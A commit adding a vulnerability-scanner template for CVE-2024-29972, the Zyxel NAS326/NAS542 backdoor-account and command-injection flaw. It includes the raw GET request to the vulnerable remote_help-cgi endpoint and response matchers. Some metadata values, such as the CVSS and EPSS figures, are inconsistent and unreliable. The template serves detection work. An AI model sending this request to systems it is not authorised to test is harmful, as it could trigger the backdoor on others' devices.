Create CVE-2024-29972.yaml

The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

http/cves/2024/CVE-2024-29972.yaml

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+id: CVE-2024-29972
+
+info:
+  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account
+  author: gy741
+  severity: critical
+  description: |
+    The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
+  reference:
+    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-29972
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.88
+    cve-id: CVE-2024-29972
+    cwe-id: CWE-78
+    epss-score: 0.90000
+    epss-percentile: 0.3869
+    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: zyxel
+    product: nas326_firmware
+    fofa-query: app="ZYXEL-NAS326"
+  tags: cve,cve2024,zyxel,backdoor
+
+http:
+  - raw:
+      - |
+        GET /desktop,/cgi-bin/remote_help-cgi/favicon.ico?type=sshd_tdc HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains(body, 'result=0')"
+        condition: and